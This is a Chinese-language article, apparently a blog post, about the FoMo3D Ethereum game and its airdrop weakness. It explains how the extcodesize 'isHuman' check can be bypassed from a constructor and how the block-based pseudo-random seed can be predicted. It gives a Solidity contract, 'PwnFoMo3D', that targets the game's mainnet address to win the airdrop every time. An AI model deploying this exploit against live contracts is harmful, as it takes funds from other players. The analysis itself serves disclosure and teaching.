【FOMO3d】的隐藏彩(lou)蛋(dong)

七月初推出的一款资金盘游戏fomo3d&＃xff0c;终于在十几天后成功引爆了中国的链圈和币圈。

游戏规则介绍

在每一局游戏的开始&＃xff0c;玩家都可以用以太币ETH来购买游戏道具key&＃xff0c;相当于往资金盘里的投资。游戏的倒计时为24小时&＃xff0c;每当有新人买入key时&＃xff0c;游戏就会自动延长30s&＃xff0c;但网页上的倒计时仍为24小时。 fomo3d主页

截止发文&＃xff0c;Time Purchased已经增长到了30&＃43;年&＃xff0c;大家可以自行计算有多少人买入了key。

最终这个资金盘的资金将会有7个流向&＃xff1a;

滚入下一轮游戏
本轮游戏的奖金
P3D Token奖励
佣金奖励
社区基金
社区基金
空投
系统运行成本

最后一个买key的人将会拿走资金盘中的48%的以太币&＃xff0c;作为奖励。看看首页的数字&＃xff0c;就可以想见游戏的疯狂程度。

安全隐患

截至发稿&＃xff0c;没有重大安全漏洞披露&＃xff0c;即管理者后门或者攻击者直接可以转移合约内ETH的漏洞&＃xff0c;可暂时视为安全。不过还是有一个小漏洞值得大家关注&＃xff0c;即modifier对普通账户&＃xff08;外部账户&＃xff09;和合约账户的判断。其初衷是好的&＃xff0c;保证散户玩家的公平性&＃xff0c;但是由于判断逻辑的偏差直接导致了该方法失效。

下图是从etherscan网站上合约地址中的代码截图&＃xff1a;

fomo3d-isHuman

此修改器用于限制调用方法者只能是普通账户&＃xff08;无法执行复杂的代码&＃xff0c;也无法重入&＃xff09;。其中&＃xff0c;通过判断地址内的extcodesize是否为0来判断该地址是否为普通账户。但是当合约正在执行构造函数并部署时&＃xff0c;其extcodesize也为0&＃xff0c;也就是说合约完全可以通过在constructor中调用方法而绕过该判断。

攻击的方向有了&＃xff0c;下面就剩下从哪里下手了。

这时我们注意到空投逻辑&＃xff1a;

/** * &＃64;dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * &＃64;return do we have a winner? */ function airdrop() private view returns(bool) {uint256 seed &＃61; uint256(keccak256(abi.encodePacked((block.timestamp).add(block.difficulty).add((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add(block.gaslimit).add((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add(block.number))));if((seed - ((seed / 1000) * 1000)) }

大家可以看到&＃xff0c;与其说是随机数&＃xff0c;不如说是基于链状态的伪随机数。此时&＃xff0c;我们可以不断地部署合约并在合约的constructor中计算随机数的值&＃xff0c;一旦发现有利可图&＃xff0c;就可以调用FOMO3d合约中的相应方法。

接下来&＃xff0c;我们浏览完整的代码&＃xff0c;找到airdrop()在哪里被使用&＃xff0c;我们就可以发现&＃xff1a;

只要玩家投入超过0.1-1ETH&＃xff0c;就有机会可以赢得空投奖池的25%&＃xff1b;
投入1-10ETH&＃xff0c;有机会赢得空头奖池的50%&＃xff1b;
投入10&＃43;ETH&＃xff0c;则有机会赢得空投奖池的75%&＃xff1b;

上面提到的有机会&＃xff0c;就是指上面的伪随机数的计算符合要求。

到这里&＃xff0c;最后一块拼图也补齐了。我们可以创造一个智能合约&＃xff0c;通过计算随机数&＃xff0c;就可以100%获得空投。我们给出了一个代码范例如下图&＃xff08;友情提醒&＃xff1a;下面的代码未经测试&＃xff0c;是仅表示思路的“伪代码”&＃xff0c;并不保证功能上的成功&＃xff09;&＃xff1a;

pragma solidity ^0.4.24;interface FoMo3DlongInterface {function airDropTracker_() external returns (uint256);function airDropPot_() external returns (uint256);function withdraw() external; }contract PwnFoMo3D {constructor() public payable {// Link up the fomo3d contract and ensure this whole thing is worth itFoMo3DlongInterface fomo3d &＃61; FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);if (fomo3d.airDropPot_() <0.4 ether) {revert();}// Calculate whether this transaction would produce an airdrop. Take the// "random" number generator from the FoMo3D contract.uint256 seed &＃61; uint256(keccak256(abi.encodePacked((block.timestamp) &＃43;(block.difficulty) &＃43;((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) &＃43;(block.gaslimit) &＃43;((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) &＃43;(block.number))));uint256 tracker &＃61; fomo3d.airDropTracker_();if((seed - ((seed / 1000) * 1000)) >&＃61; tracker) {revert();}// Ok, seems we can win the airdrop, pwn the contractaddress(fomo3d).call.value(0.1 ether)();fomo3d.withdraw();selfdestruct(msg.sender);} }

再次提醒&＃xff0c;上面的代码未经测试。因为每次调用airdrop都意味着我们必须损失0.1个以太币&＃xff0c;仅当你确保你的空投奖励大于0.1以太币时&＃xff0c;上述方法才值得尝试。也就是说只有空投奖池总共需要大于0.4以太币。已经有人尝试空投攻击2天了&＃xff1a;

https://etherscan.io/txs?a&＃61;0x...

https://etherscan.io/tx/0x86c...

通过浏览其中一笔成功的交易我们可以看到&＃xff0c;攻击者的代码更加复杂&＃xff1a;他们尝试通过部署新合约来获得超额的空投奖励&＃xff0c;但是当随机数计算不通过时&＃xff0c;选择迭代创建合约直到有一个成功的&＃xff0c;而不是选择使用revert()。